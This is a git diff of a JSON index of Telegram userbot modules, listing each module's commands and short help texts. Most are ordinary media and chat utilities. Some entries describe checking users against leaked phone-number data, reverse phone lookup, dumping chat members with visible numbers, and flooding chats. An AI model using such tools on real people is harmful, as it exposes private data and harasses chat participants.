<reply to photo/sticker> - Check on nsfw content by DeepAI" + } + ], + "new_commands": [ + { + "dai_set_token": { + "ru_doc": null, + "en_doc": null, + "doc": null + } + }, + { + "cnsfw": { + "ru_doc": null, + "en_doc": null, + "doc": ".cnsfw <reply to photo/sticker> - Check on nsfw content by DeepAI" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "D4n13l3k00/FTG-Modules/FDQuotes.py": { + "name": "FDQuoteMod", + "description": null, + "meta": { + "pic": null, + "banner": null, + "developer": "@D4n13l3k00" + }, + "commands": [ + { + "fdqcmd": ".fdq <реплай на юзера и текст> или <@username и текст> или <реплай и @username> или <реплай> - Создать квотес" + } + ], + "new_commands": [ + { + "fdq": { + "ru_doc": null, + "en_doc": null, + "doc": ".fdq <реплай на юзера и текст> или <@username и текст> или <реплай и @username> или <реплай> - Создать квотес" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "D4n13l3k00/FTG-Modules/NekosLife.py": { + "name": "nkapimdMod", + "description": null, + "meta": { + "pic": null, + "banner": null, + "developer": "@D4n13l3k00" + }, + "commands": [ + { + "nkcmd": "Отправить фото/гиф\nПо умолчанию отправляется neko\nМожно указать другую категорию(.nkct)" + }, + { + "nkctcmd": "" + } + ], + "new_commands": [ + { + "nk": { + "ru_doc": null, + "en_doc": null, + "doc": "Отправить фото/гиф\nПо умолчанию отправляется neko\nМожно указать другую категорию(.nkct)" + } + }, + { + "nkct": { "ru_doc": null, "en_doc": null, "doc": null @@ -5869,12 +21065,12 @@ ], "category": [ "Tools", - "Fun" + "Media" ] }, - "D4n13l3k00/FTG-Modules/ChatStata.py": { - "name": "ChatStatisticMod", - "description": "Статистика чата", + "D4n13l3k00/FTG-Modules/Searcher.py": { + "name": "SearcherMod", + "description": null, "meta": { "pic": null, "banner": null, @@ -5882,21 +21078,48 @@ }, "commands": [ { - "statacmd": "" + "srchcmd": ".srch <канал/чат> <запрос>\nНайти пост в канале/чате сообщение и переслать" } ], "new_commands": [ { - "stata": { + "srch": { "ru_doc": null, "en_doc": null, - "doc": null + "doc": ".srch <канал/чат> <запрос>\nНайти пост в канале/чате сообщение и переслать" } } ], "category": [ "Tools", - "Fun" + "Chat" + ] + }, + "D4n13l3k00/FTG-Modules/WttrIn.py": { + "name": "WttrInMod", + "description": "WttrIn", + "meta": { + "pic": null, + "banner": null, + "developer": "@D4n13l3k00" + }, + "commands": [ + { + "wthrcmd": ".wthr <Город если надо>\nПолучить текущую погоду" + } + ], + "new_commands": [ + { + "wthr": { + "ru_doc": null, + "en_doc": null, + "doc": ".wthr <Город если надо>\nПолучить текущую погоду" + } + } + ], + "category": [ + "Tools", + "Chat" ] }, "D4n13l3k00/FTG-Modules/AudioEditor.py": { @@ -6076,33 +21299,6 @@ "Tools" ] }, - "D4n13l3k00/FTG-Modules/FuckChat.py": { - "name": "ChatFuckerMod", - "description": "Чатоёб", - "meta": { - "pic": null, - "banner": null, - "developer": "@D4n13l3k00" - }, - "commands": [ - { - "fccmd": ".fc <Количество заёба> <reply to text/text>\nЗаебать чат (СРЁТ В ЛОГИ)" - } - ], - "new_commands": [ - { - "fc": { - "ru_doc": null, - "en_doc": null, - "doc": ".fc <Количество заёба> <reply to text/text>\nЗаебать чат (СРЁТ В ЛОГИ)" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, "D4n13l3k00/FTG-Modules/MYRZ.py": { "name": "MailSearcherMod", "description": "AntiPublic MYRZ", @@ -6140,9 +21336,9 @@ "Fun" ] }, - "D4n13l3k00/FTG-Modules/ImageEditor.py": { - "name": "ImageEditorMod", - "description": "ImageEditor - Simple tool for working with images", + "D4n13l3k00/FTG-Modules/Craiyon.py": { + "name": "CraiyonMod", + "description": "Craiyon - Mini DALL-E for FTG", "meta": { "pic": null, "banner": null, @@ -6150,105 +21346,15 @@ }, "commands": [ { - "resizeicmd": ".resizei <w> <h> - Resize image" - }, - { - "rmbgicmd": ".rmbgi - Remove background via AI [Powered by Indian's AI]" - }, - { - "inverticmd": ".inverti - Invert colors" - }, - { - "bwicmd": ".bwi - BlackWhite" - }, - { - "convicmd": ".convi - Sticker to image | Image to sticker" - }, - { - "rotateicmd": ".rotatei <degrees> - Rotate image" - }, - { - "contrasticmd": ".contrasti <float> - Change contrast" - }, - { - "sharpnessicmd": ".sharpnessi <float> - Change sharpness" - }, - { - "brighticmd": ".brighti <float> - Change bright" - }, - { - "coloricmd": ".colori <float> - Change color factor" + "craiyoncmd": ".craiyon <text> - Generate images with text using Craiyon (Mini DALL-E)" } ], "new_commands": [ { - "resizei": { + "craiyon": { "ru_doc": null, "en_doc": null, - "doc": ".resizei <w> <h> - Resize image" - } - }, - { - "rmbgi": { - "ru_doc": null, - "en_doc": null, - "doc": ".rmbgi - Remove background via AI [Powered by Indian's AI]" - } - }, - { - "inverti": { - "ru_doc": null, - "en_doc": null, - "doc": ".inverti - Invert colors" - } - }, - { - "bwi": { - "ru_doc": null, - "en_doc": null, - "doc": ".bwi - BlackWhite" - } - }, - { - "convi": { - "ru_doc": null, - "en_doc": null, - "doc": ".convi - Sticker to image | Image to sticker" - } - }, - { - "rotatei": { - "ru_doc": null, - "en_doc": null, - "doc": ".rotatei <degrees> - Rotate image" - } - }, - { - "contrasti": { - "ru_doc": null, - "en_doc": null, - "doc": ".contrasti <float> - Change contrast" - } - }, - { - "sharpnessi": { - "ru_doc": null, - "en_doc": null, - "doc": ".sharpnessi <float> - Change sharpness" - } - }, - { - "brighti": { - "ru_doc": null, - "en_doc": null, - "doc": ".brighti <float> - Change bright" - } - }, - { - "colori": { - "ru_doc": null, - "en_doc": null, - "doc": ".colori <float> - Change color factor" + "doc": ".craiyon <text> - Generate images with text using Craiyon (Mini DALL-E)" } } ], @@ -6257,9 +21363,9 @@ "Chat" ] }, - "D4n13l3k00/FTG-Modules/Try.py": { - "name": "TryMod", - "description": "Try", + "D4n13l3k00/FTG-Modules/Ava.py": { + "name": "AvaMod", + "description": "Установка/удаление аватарок через команды", "meta": { "pic": null, "banner": null, @@ -6267,72 +21373,35 @@ }, "commands": [ { - "trycmd": ".try действие" + "avacmd": ".ava <reply_to_photo> - Установить аватар" + }, + { + "delavacmd": "Удалить текущую аватарку" + }, + { + "delavascmd": "Удалить все аватарки" } ], "new_commands": [ { - "try": { + "ava": { "ru_doc": null, "en_doc": null, - "doc": ".try действие" - } - } - ], - "category": [ - "Fun", - "Tools" - ] - }, - "D4n13l3k00/FTG-Modules/BackupMan.py": { - "name": "BackupManMod", - "description": "BackupMan", - "meta": { - "pic": null, - "banner": null, - "developer": "@D4n13l3k00" - }, - "commands": [ - { - "restmcmd": "Установить все модули из *.bkm файла" - }, - { - "backmcmd": "Сделать бэкап модулей в *.bkm файл" - }, - { - "restncmd": "Установить все заметки из *.bkn файла\n<f> - Заменять уже существующие заметки" - }, - { - "backncmd": "Сделать бэкап заметок в *.bkn файл" - } - ], - "new_commands": [ - { - "restm": { - "ru_doc": null, - "en_doc": null, - "doc": "Установить все модули из *.bkm файла" + "doc": ".ava <reply_to_photo> - Установить аватар" } }, { - "backm": { + "delava": { "ru_doc": null, "en_doc": null, - "doc": "Сделать бэкап модулей в *.bkm файл" + "doc": "Удалить текущую аватарку" } }, { - "restn": { + "delavas": { "ru_doc": null, "en_doc": null, - "doc": "Установить все заметки из *.bkn файла\n<f> - Заменять уже существующие заметки" - } - }, - { - "backn": { - "ru_doc": null, - "en_doc": null, - "doc": "Сделать бэкап заметок в *.bkn файл" + "doc": "Удалить все аватарки" } } ], @@ -6341,24 +21410,9 @@ "Tools" ] }, - "D4n13l3k00/FTG-Modules/Captcha.py": { - "name": "CUserModel", - "description": null, - "meta": { - "pic": null, - "banner": null, - "developer": "@D4n13l3k00" - }, - "commands": [], - "new_commands": [], - "category": [ - "Fun", - "Tools" - ] - }, - "D4n13l3k00/FTG-Modules/YTdl.py": { - "name": "YtDlMod", - "description": "Youtube-Dl Module", + "D4n13l3k00/FTG-Modules/FuckChat.py": { + "name": "ChatFuckerMod", + "description": "Чатоёб", "meta": { "pic": null, "banner": null, @@ -6366,410 +21420,15 @@ }, "commands": [ { - "ripvcmd": ".ripv <link / reply_to_link> - download video" - }, - { - "ripacmd": ".ripa <link / reply_to_link> - download audio" + "fccmd": ".fc <Количество заёба> <reply to text/text>\nЗаебать чат (СРЁТ В ЛОГИ)" } ], "new_commands": [ { - "ripv": { + "fc": { "ru_doc": null, "en_doc": null, - "doc": ".ripv <link / reply_to_link> - download video" - } - }, - { - "ripa": { - "ru_doc": null, - "en_doc": null, - "doc": ".ripa <link / reply_to_link> - download audio" - } - } - ], - "category": [ - "Media", - "Chat" - ] - }, - "D4n13l3k00/FTG-Modules/GPT.py": { - "name": "OpenAIGPTMod", - "description": "OpenAI GPT", - "meta": { - "pic": null, - "banner": null, - "developer": "@D4n13l3k00" - }, - "commands": [ - { - "setgptcmd": "<token> - set OpenAI access token" - }, - { - "gptcmd": "<text/reply_to_text> - generate text" - }, - { - "cgptcmd": "<text/reply_to_text> - answer ChatGPT (gpt-3.5-turbo)" - }, - { - "cgptresetcmd": "Reset ChatGPT history" - }, - { - "omodercmd": "turn chat text moderation with moderation endpoint (eng only)" - } - ], - "new_commands": [ - { - "setgpt": { - "ru_doc": null, - "en_doc": null, - "doc": "<token> - set OpenAI access token" - } - }, - { - "gpt": { - "ru_doc": null, - "en_doc": null, - "doc": "<text/reply_to_text> - generate text" - } - }, - { - "cgpt": { - "ru_doc": null, - "en_doc": null, - "doc": "<text/reply_to_text> - answer ChatGPT (gpt-3.5-turbo)" - } - }, - { - "cgptreset": { - "ru_doc": null, - "en_doc": null, - "doc": "Reset ChatGPT history" - } - }, - { - "omoder": { - "ru_doc": null, - "en_doc": null, - "doc": "turn chat text moderation with moderation endpoint (eng only)" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "D4n13l3k00/FTG-Modules/RndNsfw.py": { - "name": "RandomNSFWMod", - "description": "RndNsfw", - "meta": { - "pic": null, - "banner": null, - "developer": "@D4n13l3k00" - }, - "commands": [ - { - "crncmd": "Random pic from @wallhaven_nsfw" - }, - { - "crdcmd": "Random post from @dvach18" - }, - { - "crdbcmd": "Random post from @ru2ch_ban" - }, - { - "crfncmd": "Random Furry from channel" - }, - { - "crhcmd": "Random Hentai from channels" - }, - { - "rh2dcmd": "Random Hentai2D pic/gif from @murglar_bot\nYou can type category as argument(mustn't)" - }, - { - "rn3dcmd": "Random Nudes3D from @murglar_bot" - } - ], - "new_commands": [ - { - "crn": { - "ru_doc": null, - "en_doc": null, - "doc": "Random pic from @wallhaven_nsfw" - } - }, - { - "crd": { - "ru_doc": null, - "en_doc": null, - "doc": "Random post from @dvach18" - } - }, - { - "crdb": { - "ru_doc": null, - "en_doc": null, - "doc": "Random post from @ru2ch_ban" - } - }, - { - "crfn": { - "ru_doc": null, - "en_doc": null, - "doc": "Random Furry from channel" - } - }, - { - "crh": { - "ru_doc": null, - "en_doc": null, - "doc": "Random Hentai from channels" - } - }, - { - "rh2d": { - "ru_doc": null, - "en_doc": null, - "doc": "Random Hentai2D pic/gif from @murglar_bot\nYou can type category as argument(mustn't)" - } - }, - { - "rn3d": { - "ru_doc": null, - "en_doc": null, - "doc": "Random Nudes3D from @murglar_bot" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "D4n13l3k00/FTG-Modules/Demotivator.py": { - "name": "dmt228Mod", - "description": "Демотиватор 228 @super_rjaka_demotivator_bot", - "meta": { - "pic": null, - "banner": null, - "developer": "@D4n13l3k00" - }, - "commands": [ - { - "dmtcmd": ".dmt [текст по желанию] <reply to video, photo or gif>" - } - ], - "new_commands": [ - { - "dmt": { - "ru_doc": null, - "en_doc": null, - "doc": ".dmt [текст по желанию] <reply to video, photo or gif>" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "D4n13l3k00/FTG-Modules/VideoEditor.py": { - "name": "VideoEditorMod", - "description": "Module for working with video", - "meta": { - "pic": null, - "banner": null, - "developer": "@D4n13l3k00" - }, - "commands": [ - { - "xflipvcmd": ".xflipv <reply_to_video> - Flip video by X" - }, - { - "yflipvcmd": ".yflipv <reply_to_video> - Flip video by Y" - }, - { - "bwvcmd": ".bwv <reply_to_video> - BlackWhite" - }, - { - "revvcmd": ".revv <reply_to_video> - Reverse video" - }, - { - "paintvcmd": ".paintv <reply_to_video> - Paint effect" - }, - { - "invertvcmd": ".invertv <reply_to_video> - Invert colors" - }, - { - "rmsvcmd": ".rmsv <reply_to_video> - Remove sound (to gif without compression)" - }, - { - "cutvcmd": ".cutv <int [Default 30]> <reply_to_video> - Cut video" - }, - { - "audvcmd": ".audv <link> <reply_to_video> - Add audio to video" - }, - { - "fpsvcmd": ".fpsv <int [Default 30]> <reply_to_video> - Change fps" - }, - { - "marginvcmd": ".marginv <int [Default 5]> <reply_to_video> - Add marging" - }, - { - "speedvcmd": ".speedv <float [Default 1.5]> <reply_to_video> - Speed" - }, - { - "contrastvcmd": ".contrastv <float [Default 1.5]> <reply_to_video> - Contrast" - }, - { - "lumvcmd": ".lumv <float [Default 25]> <reply_to_video> - Lum" - }, - { - "scalevcmd": ".scalev <float [Default 0.75]> <reply_to_video> - Scale(\"Resize\") video" - } - ], - "new_commands": [ - { - "xflipv": { - "ru_doc": null, - "en_doc": null, - "doc": ".xflipv <reply_to_video> - Flip video by X" - } - }, - { - "yflipv": { - "ru_doc": null, - "en_doc": null, - "doc": ".yflipv <reply_to_video> - Flip video by Y" - } - }, - { - "bwv": { - "ru_doc": null, - "en_doc": null, - "doc": ".bwv <reply_to_video> - BlackWhite" - } - }, - { - "revv": { - "ru_doc": null, - "en_doc": null, - "doc": ".revv <reply_to_video> - Reverse video" - } - }, - { - "paintv": { - "ru_doc": null, - "en_doc": null, - "doc": ".paintv <reply_to_video> - Paint effect" - } - }, - { - "invertv": { - "ru_doc": null, - "en_doc": null, - "doc": ".invertv <reply_to_video> - Invert colors" - } - }, - { - "rmsv": { - "ru_doc": null, - "en_doc": null, - "doc": ".rmsv <reply_to_video> - Remove sound (to gif without compression)" - } - }, - { - "cutv": { - "ru_doc": null, - "en_doc": null, - "doc": ".cutv <int [Default 30]> <reply_to_video> - Cut video" - } - }, - { - "audv": { - "ru_doc": null, - "en_doc": null, - "doc": ".audv <link> <reply_to_video> - Add audio to video" - } - }, - { - "fpsv": { - "ru_doc": null, - "en_doc": null, - "doc": ".fpsv <int [Default 30]> <reply_to_video> - Change fps" - } - }, - { - "marginv": { - "ru_doc": null, - "en_doc": null, - "doc": ".marginv <int [Default 5]> <reply_to_video> - Add marging" - } - }, - { - "speedv": { - "ru_doc": null, - "en_doc": null, - "doc": ".speedv <float [Default 1.5]> <reply_to_video> - Speed" - } - }, - { - "contrastv": { - "ru_doc": null, - "en_doc": null, - "doc": ".contrastv <float [Default 1.5]> <reply_to_video> - Contrast" - } - }, - { - "lumv": { - "ru_doc": null, - "en_doc": null, - "doc": ".lumv <float [Default 25]> <reply_to_video> - Lum" - } - }, - { - "scalev": { - "ru_doc": null, - "en_doc": null, - "doc": ".scalev <float [Default 0.75]> <reply_to_video> - Scale(\"Resize\") video" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "D4n13l3k00/FTG-Modules/DeepAI.py": { - "name": "DeepAIMod", - "description": null, - "meta": { - "pic": null, - "banner": null, - "developer": "@D4n13l3k00" - }, - "commands": [ - { - "dai_set_tokencmd": "" - }, - { - "cnsfwcmd": ".cnsfw <reply to photo/sticker> - Check on nsfw content by DeepAI" - } - ], - "new_commands": [ - { - "dai_set_token": { - "ru_doc": null, - "en_doc": null, - "doc": null - } - }, - { - "cnsfw": { - "ru_doc": null, - "en_doc": null, - "doc": ".cnsfw <reply to photo/sticker> - Check on nsfw content by DeepAI" + "doc": ".fc <Количество заёба> <reply to text/text>\nЗаебать чат (СРЁТ В ЛОГИ)" } } ], @@ -6815,9 +21474,9 @@ "Tools" ] }, - "D4n13l3k00/FTG-Modules/QiwiMod.py": { - "name": "QiwiMod", - "description": "Модуль для работы с Qiwi кошельком", + "D4n13l3k00/FTG-Modules/VoiceRecognize.py": { + "name": "VoiceRecognitionMod", + "description": "Распознавание речи через Google Recognition API", "meta": { "pic": null, "banner": null, @@ -6825,2032 +21484,15 @@ }, "commands": [ { - "qsetp2pcmd": ".qsetp2p <TOKEN>\nУстановить секретный p2p ключ" - }, - { - "qsetcmd": ".qset <phone> <TOKEN>\nУстановить номер и токен" - }, - { - "qbalcmd": ".qbal - Получить баланс" - }, - { - "qswalcmd": ".qswal <phone> <amount> <?comment> - Отправить средства по номеру" - }, - { - "qscardcmd": ".qscard <card_num[no_spaces]> <amount> - Отправить средства на карту" - }, - { - "qcmscmd": ".qcms <card_num/phone> <amount> - Посчитать комиссию" - }, - { - "qp2pcmd": ".qp2p <amount> <?comment> - Создать счёт для оплаты" + "recvcmd": ".recv <reply to voice/audio> - распознать речь" } ], "new_commands": [ { - "qsetp2p": { + "recv": { "ru_doc": null, "en_doc": null, - "doc": ".qsetp2p <TOKEN>\nУстановить секретный p2p ключ" - } - }, - { - "qset": { - "ru_doc": null, - "en_doc": null, - "doc": ".qset <phone> <TOKEN>\nУстановить номер и токен" - } - }, - { - "qbal": { - "ru_doc": null, - "en_doc": null, - "doc": ".qbal - Получить баланс" - } - }, - { - "qswal": { - "ru_doc": null, - "en_doc": null, - "doc": ".qswal <phone> <amount> <?comment> - Отправить средства по номеру" - } - }, - { - "qscard": { - "ru_doc": null, - "en_doc": null, - "doc": ".qscard <card_num[no_spaces]> <amount> - Отправить средства на карту" - } - }, - { - "qcms": { - "ru_doc": null, - "en_doc": null, - "doc": ".qcms <card_num/phone> <amount> - Посчитать комиссию" - } - }, - { - "qp2p": { - "ru_doc": null, - "en_doc": null, - "doc": ".qp2p <amount> <?comment> - Создать счёт для оплаты" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "D4n13l3k00/FTG-Modules/Craiyon.py": { - "name": "CraiyonMod", - "description": "Craiyon - Mini DALL-E for FTG", - "meta": { - "pic": null, - "banner": null, - "developer": "@D4n13l3k00" - }, - "commands": [ - { - "craiyoncmd": ".craiyon <text> - Generate images with text using Craiyon (Mini DALL-E)" - } - ], - "new_commands": [ - { - "craiyon": { - "ru_doc": null, - "en_doc": null, - "doc": ".craiyon <text> - Generate images with text using Craiyon (Mini DALL-E)" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "D4n13l3k00/FTG-Modules/Searcher.py": { - "name": "SearcherMod", - "description": null, - "meta": { - "pic": null, - "banner": null, - "developer": "@D4n13l3k00" - }, - "commands": [ - { - "srchcmd": ".srch <канал/чат> <запрос>\nНайти пост в канале/чате сообщение и переслать" - } - ], - "new_commands": [ - { - "srch": { - "ru_doc": null, - "en_doc": null, - "doc": ".srch <канал/чат> <запрос>\nНайти пост в канале/чате сообщение и переслать" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "D4n13l3k00/FTG-Modules/Sender.py": { - "name": "SenderMod", - "description": null, - "meta": { - "pic": null, - "banner": null, - "developer": "@D4n13l3k00" - }, - "commands": [ - { - "sndcmd": ".snd <канал/чат/id> <reply>\nОтпрпвить сообшение в чат/канал(без авторства)" - } - ], - "new_commands": [ - { - "snd": { - "ru_doc": null, - "en_doc": null, - "doc": ".snd <канал/чат/id> <reply>\nОтпрпвить сообшение в чат/канал(без авторства)" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "D4n13l3k00/FTG-Modules/FullApi.py": { - "name": "FullApiMod", - "description": "Фулл", - "meta": { - "pic": null, - "banner": null, - "developer": "@D4n13l3k00" - }, - "commands": [ - { - "rndfullcmd": "получить рандомный фулл :)" - } - ], - "new_commands": [ - { - "rndfull": { - "ru_doc": null, - "en_doc": null, - "doc": "получить рандомный фулл :)" - } - } - ], - "category": [ - "Fun", - "Tools" - ] - }, - "D4n13l3k00/FTG-Modules/VideoShakal.py": { - "name": "VSHAKALMod", - "description": null, - "meta": { - "pic": null, - "banner": null, - "developer": "@D4n13l3k00" - }, - "commands": [ - { - "vshcmd": ".vsh <реплай на видео> <уровень от 1 до 6 (по умолчанию 3)>\nСшакалить видео" - } - ], - "new_commands": [ - { - "vsh": { - "ru_doc": null, - "en_doc": null, - "doc": ".vsh <реплай на видео> <уровень от 1 до 6 (по умолчанию 3)>\nСшакалить видео" - } - } - ], - "category": [ - "Tools", - "Media" - ] - }, - "D4n13l3k00/FTG-Modules/CopyUser.py": { - "name": "CuMod", - "description": "Полное копирование юзера(ава, имя|фамилия, био)", - "meta": { - "pic": null, - "banner": null, - "developer": "@D4n13l3k00" - }, - "commands": [ - { - "cucmd": ".cu <s> <a> <reply/@username>\n<s> - Скрытый режим\n<a> - Удалить ваши аватарки\nАргументы после юзера не указывайте, не скушает\nПримеры:\n.cu s @user/reply\n.cu a @user/reply\n.cu s a @user/reply" - } - ], - "new_commands": [ - { - "cu": { - "ru_doc": null, - "en_doc": null, - "doc": ".cu <s> <a> <reply/@username>\n<s> - Скрытый режим\n<a> - Удалить ваши аватарки\nАргументы после юзера не указывайте, не скушает\nПримеры:\n.cu s @user/reply\n.cu a @user/reply\n.cu s a @user/reply" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "D4n13l3k00/FTG-Modules/DelTimer.py": { - "name": "DelTmMod", - "description": null, - "meta": { - "pic": null, - "banner": null, - "developer": "@D4n13l3k00" - }, - "commands": [ - { - "deltmcmd": "<реплай> <секунды>\nУдалить сообщение в реплае через указанное время" - } - ], - "new_commands": [ - { - "deltm": { - "ru_doc": null, - "en_doc": null, - "doc": "<реплай> <секунды>\nУдалить сообщение в реплае через указанное время" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "D4n13l3k00/FTG-Modules/NekosLife.py": { - "name": "nkapimdMod", - "description": null, - "meta": { - "pic": null, - "banner": null, - "developer": "@D4n13l3k00" - }, - "commands": [ - { - "nkcmd": "Отправить фото/гиф\nПо умолчанию отправляется neko\nМожно указать другую категорию(.nkct)" - }, - { - "nkctcmd": "" - } - ], - "new_commands": [ - { - "nk": { - "ru_doc": null, - "en_doc": null, - "doc": "Отправить фото/гиф\nПо умолчанию отправляется neko\nМожно указать другую категорию(.nkct)" - } - }, - { - "nkct": { - "ru_doc": null, - "en_doc": null, - "doc": null - } - } - ], - "category": [ - "Tools", - "Media" - ] - }, - "D4n13l3k00/FTG-Modules/Shazam.py": { - "name": "ShazamMod", - "description": "Shazam API", - "meta": { - "pic": null, - "banner": null, - "developer": "@D4n13l3k00" - }, - "commands": [ - { - "shazamcmd": ".shazam <reply to audio> - распознать трек" - }, - { - "shazamtextcmd": ".shazamtext <reply to audio> - узнать текст трека" - } - ], - "new_commands": [ - { - "shazam": { - "ru_doc": null, - "en_doc": null, - "doc": ".shazam <reply to audio> - распознать трек" - } - }, - { - "shazamtext": { - "ru_doc": null, - "en_doc": null, - "doc": ".shazamtext <reply to audio> - узнать текст трека" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "D4n13l3k00/FTG-Modules/DumpUsers.py": { - "name": "DUsersMod", - "description": "DUsers", - "meta": { - "pic": null, - "banner": null, - "developer": "@D4n13l3k00" - }, - "commands": [ - { - "ducmd": ".du <n> <m> <s>\nДамп юзеров чата\n<n> - Получить только пользователей с открытыми номерами\n<m> - Отправить дамп в избранное\n<s> - Тихий дамп" - } - ], - "new_commands": [ - { - "du": { - "ru_doc": null, - "en_doc": null, - "doc": ".du <n> <m> <s>\nДамп юзеров чата\n<n> - Получить только пользователей с открытыми номерами\n<m> - Отправить дамп в избранное\n<s> - Тихий дамп" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "D4n13l3k00/FTG-Modules/WttrIn.py": { - "name": "WttrInMod", - "description": "WttrIn", - "meta": { - "pic": null, - "banner": null, - "developer": "@D4n13l3k00" - }, - "commands": [ - { - "wthrcmd": ".wthr <Город если надо>\nПолучить текущую погоду" - } - ], - "new_commands": [ - { - "wthr": { - "ru_doc": null, - "en_doc": null, - "doc": ".wthr <Город если надо>\nПолучить текущую погоду" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "D4n13l3k00/FTG-Modules/CheckerTG.py": { - "name": "CheckerTGMod", - "description": "CheckerTG", - "meta": { - "pic": null, - "banner": null, - "developer": "@D4n13l3k00" - }, - "commands": [ - { - "checkcmd": "Проверить id на слитый номер\nЖуёт либо <reply> либо <uid>" - }, - { - "rcheckcmd": "Обратный поиск\nЖуёт <phone number>" - } - ], - "new_commands": [ - { - "check": { - "ru_doc": null, - "en_doc": null, - "doc": "Проверить id на слитый номер\nЖуёт либо <reply> либо <uid>" - } - }, - { - "rcheck": { - "ru_doc": null, - "en_doc": null, - "doc": "Обратный поиск\nЖуёт <phone number>" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "anon97945/hikka-mods/no_ttl.py": { - "name": "NoTTLMod", - "description": "Send messages without TTL.", - "meta": { - "pic": "https://t.me/apodiktum_dumpster/13", - "banner": "https://t.me/apodiktum_dumpster/11", - "developer": "@apodiktum_modules" - }, - "commands": [ - { - "cnottlcmd": "This will open the config for the module." - }, - { - "nottlcmd": "Command to send a message without TTL." - } - ], - "new_commands": [ - { - "cnottl": { - "ru_doc": null, - "en_doc": null, - "doc": "This will open the config for the module." - } - }, - { - "nottl": { - "ru_doc": null, - "en_doc": null, - "doc": "Command to send a message without TTL." - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "anon97945/hikka-mods/auto_delerror.py": { - "name": "ApodiktumAutoDelErrorMod", - "description": "This module deletes error messages which have defined text in it.", - "meta": { - "pic": "https://t.me/apodiktum_dumpster/13", - "banner": "https://t.me/apodiktum_dumpster/11", - "developer": "@apodiktum_modules" - }, - "commands": [ - { - "cautodelerrorcmd": "This will open the config for the module." - } - ], - "new_commands": [ - { - "cautodelerror": { - "ru_doc": null, - "en_doc": null, - "doc": "This will open the config for the module." - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "anon97945/hikka-mods/mark_read.py": { - "name": "ApodiktumMarkReadMod", - "description": "This module marks chats as read.", - "meta": { - "pic": "https://t.me/apodiktum_dumpster/13", - "banner": "https://t.me/apodiktum_dumpster/11", - "developer": "@apodiktum_modules" - }, - "commands": [ - { - "cmarkreadcmd": "This will open the config for the module." - } - ], - "new_commands": [ - { - "cmarkread": { - "ru_doc": null, - "en_doc": null, - "doc": "This will open the config for the module." - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "anon97945/hikka-mods/tts.py": { - "name": "ApodiktumTTSMod", - "description": null, - "meta": { - "pic": "https://t.me/apodiktum_dumpster/13", - "banner": "https://t.me/apodiktum_dumpster/11", - "developer": "@apodiktum_modules" - }, - "commands": [ - { - "cttscmd": "This will open the config for the module." - }, - { - "ttscmd": "Convert text to speech with Google APIs" - }, - { - "speedvccmd": "Speed up voice by x" - } - ], - "new_commands": [ - { - "ctts": { - "ru_doc": null, - "en_doc": null, - "doc": "This will open the config for the module." - } - }, - { - "tts": { - "ru_doc": null, - "en_doc": null, - "doc": "Convert text to speech with Google APIs" - } - }, - { - "speedvc": { - "ru_doc": null, - "en_doc": null, - "doc": "Speed up voice by x" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "anon97945/hikka-mods/pmlog.py": { - "name": "ApodiktumPMLogMod", - "description": "Logs PMs to a group/channel", - "meta": { - "pic": "https://t.me/apodiktum_dumpster/13", - "banner": "https://t.me/apodiktum_dumpster/11", - "developer": "@apodiktum_modules" - }, - "commands": [ - { - "cpmlogcmd": "This will open the config for the module." - } - ], - "new_commands": [ - { - "cpmlog": { - "ru_doc": null, - "en_doc": null, - "doc": "This will open the config for the module." - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "anon97945/hikka-mods/apolib_controller.py": { - "name": "ApodiktumLibControllerMod", - "description": "This is a Library Controller module required for Apodiktum Library Modules and also 3rd-party modules.\n>>Do not unload this!<<", - "meta": { - "pic": "https://t.me/apodiktum_dumpster/13", - "banner": "https://t.me/apodiktum_dumpster/11", - "developer": "@apodiktum_modules" - }, - "commands": [ - { - "capolibcmd": "This will open the config for the module." - }, - { - "unloadapocontrollercmd": "This will unload the module and prevent it from loading through apo_lib.\n!!Beware that this will break all modules that depend on apo_lib q_watcher. Use this only if you know what you are doing!!" - }, - { - "vapolibcmd": "shows the current version of the apodiktum_library." - }, - { - "qapolibcmd": "shows the current queue and tasks of the apodiktum_library." - }, - { - "fclcmd": "<langcode> | force language of supported modules in this chat." - }, - { - "remfclcmd": "remove force language in this chat." - } - ], - "new_commands": [ - { - "capolib": { - "ru_doc": null, - "en_doc": null, - "doc": "This will open the config for the module." - } - }, - { - "unloadapocontroller": { - "ru_doc": null, - "en_doc": null, - "doc": "This will unload the module and prevent it from loading through apo_lib.\n!!Beware that this will break all modules that depend on apo_lib q_watcher. Use this only if you know what you are doing!!" - } - }, - { - "vapolib": { - "ru_doc": null, - "en_doc": null, - "doc": "shows the current version of the apodiktum_library." - } - }, - { - "qapolib": { - "ru_doc": null, - "en_doc": null, - "doc": "shows the current queue and tasks of the apodiktum_library." - } - }, - { - "fcl": { - "ru_doc": null, - "en_doc": null, - "doc": "<langcode> | force language of supported modules in this chat." - } - }, - { - "remfcl": { - "ru_doc": null, - "en_doc": null, - "doc": "remove force language in this chat." - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "anon97945/hikka-mods/msg_merger.py": { - "name": "ApodiktumMsgMergerMod", - "description": "This module will merge own messages, if there is no message in between.", - "meta": { - "pic": "https://t.me/apodiktum_dumpster/13", - "banner": "https://t.me/apodiktum_dumpster/11", - "developer": "@apodiktum_modules" - }, - "commands": [ - { - "cmsgmergercmd": "open the config of the module." - }, - { - 